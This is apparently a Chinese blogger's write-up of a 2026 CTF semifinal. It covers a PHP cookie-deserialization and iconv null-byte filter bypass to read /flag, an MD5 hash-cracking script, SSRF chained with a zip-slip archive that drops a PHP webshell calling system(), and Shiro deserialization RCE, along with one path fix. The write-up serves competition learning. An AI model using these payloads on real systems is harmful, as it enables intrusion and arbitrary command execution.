26长城杯半决赛(部分)
本文最后更新于23 天前,其中的信息可能已经过时,如有错误请发送邮件到你太幼稚1919810@163.com

awdp

MediaDrive

break

<?php
declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";
require_once __DIR__ . "/lib/Util.php";

$user = null;
if (isset($_COOKIE['user'])) {
    $user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
    $user = new User("guest");
    setcookie("user", serialize($user), time() + 86400, "/");
}

$f = (string)($_GET['f'] ?? "");
if ($f === "") {
    http_response_code(400);
    echo "Missing parameter: f";
    exit;
}

$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
    http_response_code(403);
    echo "Access denied";
    exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
    http_response_code(500);
    echo "Conversion failed";
    exit;
}


$content = @file_get_contents($convertedPath);
if ($content === false) {
    http_response_code(404);
    echo "Not found";
    exit;
}

$displayRaw = $rawPath;
$displayConv = $convertedPath;
$isText = true;

for ($i=0; $i<min(strlen($content), 512); $i++) {
    $c = ord($content[$i]);
    if ($c === 0) { $isText = false; break; }
}
?>

漏洞主要出现在这段代码中。在上传图片之后,点击预览,会有一个cookie反序列化,我们通过修改basePath的值,再通过路径拼接读取根目录下的flag

<?php
class User {
    public  $name = "guest";
    public  $encoding = "UTF-6BE";
    public  $basePath = "";
}
$a = new User();
echo urlencode(serialize($a));
GET /preview.php?f=/flag HTTP/1.1
Host: 192.168.247.161
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.247.161/
Accept-Encoding: gzip, deflate, br
Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A8%3A%22UTF-16BE%22%3Bs%3A8%3A%22basePath%22%3Bs%3A0%3A%22%22%3B%7D
Connection: keep-alive

HTTP/1.1 403 Forbidden
Date: Tue, 24 Mar 2026 08:35:18 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Content-Length: 13
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Access denied

可以看到,被waf了,但是可以利用iconv函数的特性,在编码转换时,将非法字符丢弃,从而绕过

GET /preview.php?f=%00/%00f%00l%00a%00g HTTP/1.1
Host: 192.168.247.161
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.247.161/
Accept-Encoding: gzip, deflate, br
Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A8%3A%22UTF-16BE%22%3Bs%3A8%3A%22basePath%22%3Bs%3A0%3A%22%22%3B%7D
Connection: keep-alive

这里采用的是空字符绕过,UTF-8//IGNOR会自动丢弃这些空字符,最终访问的是/flag

fix

问题出在如下的路径拼接上,只要将访问路径固定到/var/www/html/uploads即可

$rawPath = "/var/www/html/uploads/" . $f

easy_time

break

EXPOSE 80 5000

首先就是看到Dockerfile中开放了两个端口,但是访问网站在结合index.py内容可知,对外开放的是5000端口的服务,80端口是一个php服务,不对外开放,这时就要考虑ssrf了。

@app.route('/login', methods=['GET', 'POST'])
def login():
    if flask.request.method == 'POST':
        username = flask.request.form.get('username', '')
        password = flask.request.form.get('password', '')
        h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
        h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
        next_url = flask.request.args.get("next") or flask.url_for("dashboard")
        if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
            resp = flask.make_response(flask.redirect(next_url))
            resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
            resp.set_cookie('user', username, httponly=True, samesite='Lax')
            return resp
        return flask.render_template('login.html', error='用户名或密码错误', username=username), 401

接着读取login路由发现admin密码的hash值是暴露的,可以进行爆破

import hashlib

with open("rockyou.txt", "r", encoding="utf-8", errors="ignore") as f:
    for line in f:
        line = line.strip()
        line1 = hashlib.md5(line.encode('utf-8')).hexdigest()
        line2 = hashlib.md5(line1.encode('utf-8')).hexdigest()
        if line2 == "7022cd14c42ff272619d6beacdc9ffde":
            print(line)
            break

写一个简单的脚本,用kali自带的字典就能跑出来密码是secret

@app.route('/about', methods=['GET', 'POST'])
@login_required
def about():
    user = flask.request.cookies.get('user')

    conn = db()
    current = conn.execute('SELECT * FROM users WHERE username=?', (user,)).fetchone()
    about_text = current['about'] if current else ''
    avatar_local = current['avatar_local'] if current else ''
    avatar_url = current['avatar_url'] if current else ''

    if flask.request.method == 'POST':
        about_text = flask.request.form.get('about', '')
        avatar_url = flask.request.form.get('avatar_url', '')

        upload = flask.request.files.get('avatar_file')
        if upload and upload.filename:
            raw = upload.read()
            upload.seek(0)
            kind = sniff_image_type(raw)
            if kind not in {'png', 'jpeg', 'gif', 'webp'}:
                conn.close()
                return (
                    flask.render_template(
                        'about.html',
                        user=user,
                        about=about_text,
                        avatar_local=avatar_local,
                        avatar_url=avatar_url,
                        remote_info=fetch_remote_avatar_info(avatar_url),
                        error='头像文件必须是图片(png/jpg/gif/webp)',
                    ),
                    400,
                )

            fname = f"{uuid4().hex}.{ 'jpg' if kind == 'jpeg' else kind }"
            path = AVATAR_DIR / fname
            with open(path, 'wb') as f:
                f.write(raw)
            avatar_local = f"uploads/avatars/{fname}"

        conn.execute(
            'UPDATE users SET about=?, avatar_local=?, avatar_url=? WHERE username=?',
            (about_text, avatar_local, avatar_url, user),
        )
        conn.commit()

        current = conn.execute('SELECT * FROM users WHERE username=?', (user,)).fetchone()
        conn.close()

        return flask.render_template(
            'about.html',
            user=user,
            about=current['about'],
            avatar_local=current['avatar_local'],
            avatar_url=current['avatar_url'],
            remote_info=fetch_remote_avatar_info(current['avatar_url']),
            error=None,
        )

    conn.close()
    return flask.render_template(
        'about.html',
        user=user,
        about=about_text,
        avatar_local=avatar_local,
        avatar_url=avatar_url,
        remote_info=fetch_remote_avatar_info(avatar_url),
        error=None,
    )

接着分析about路由,发现,有一个avatar_url是用来加载远程头像的,这里很有可能就是一个ssrf的利用点,结合开放的80端口以及源码中html文件夹下的几个php文件,抓包修改,尝试访问http://127.0.0.1/index.php

发现回显内容与源码中的内容一模一样,ssrf成功。但是测试发现只能使用http协议,所以还需要找到其他利用点配合ssrf打

@app.route('/plugin/upload', methods=['GET', 'POST'])
@login_required
def upload_plugin():
    if flask.request.method == 'GET':
        return flask.render_template('plugin_upload.html', error=None, ok=None, files=None)

    file = flask.request.files.get('plugin')
    if not file or not file.filename:
        return flask.render_template('plugin_upload.html', error='请选择一个 zip 文件', ok=None, files=None), 400

    filename = secure_filename(file.filename)
    if not filename.lower().endswith('.zip'):
        return flask.render_template('plugin_upload.html', error='仅支持 .zip 文件', ok=None, files=None), 400

    saved = UPLOAD_DIR / f"{uuid4().hex}-{filename}"
    file.save(saved)

    dest = PLUGIN_DIR / f"{Path(filename).stem}-{uuid4().hex[:8]}"
    dest.mkdir(parents=True, exist_ok=True)

    try:
        print(saved, dest)
        extracted = safe_upload(saved, dest)
    except Exception:
        shutil.rmtree(dest, ignore_errors=True)
        return flask.render_template('plugin_upload.html', error='解压失败:压缩包内容不合法', ok=None, files=None), 400

    return flask.render_template('plugin_upload.html', error=None, ok='上传并解压成功', files=extracted)

再看上传插件的路由,发现我们只能上传zip压缩包,然后通过safe_upload的自定义函数进行处理。这里需要重点关注一下这个自定义函数,里面很有可能存在可以利用的漏洞。

def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
    with zipfile.ZipFile(zip_path, 'r') as z:
        for info in z.infolist():
            target = os.path.join(dest_dir, info.filename)  
            if info.is_dir():
                os.makedirs(target, exist_ok=True)
            else:
                os.makedirs(os.path.dirname(target), exist_ok=True)
                with open(target, 'wb') as f:
                    f.write(z.read(info.filename))

关键就是target = os.path.join(dest_dir, info.filename)这段代码有路径拼接的漏洞,从源码可知这里的dest_dir对应的就是/plugins/xxx/目录,此时如果压缩的文件文件名为../../../var/www/html/shell.php,通过join路径拼接就会存放到php网站的根目录下。只要在该php文件中写入想要执行的代码,再通过ssrf漏洞访问http://127.0.0.1/shell.php

import zipfile
with open('123.zip', 'wb') as f:
    with zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('../../../var/www/html/123.php', b'<?php system("find / -name flag"); ?>')

isw

isw3

首先对ip进行端口扫描发现8080端口是开放的,然后访问网页发现是一个登录框

随便输入密码然后抓包,在回显中看到关键字remember,很有可能就是一个shiro框架反序列化漏洞

使用工具直接爆破密钥和利用连,进行rce拿到第一个flag。之后可以传马连蚁剑但是提权部分不会了。

第一次打国赛,感觉自己还是太菜了😭
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇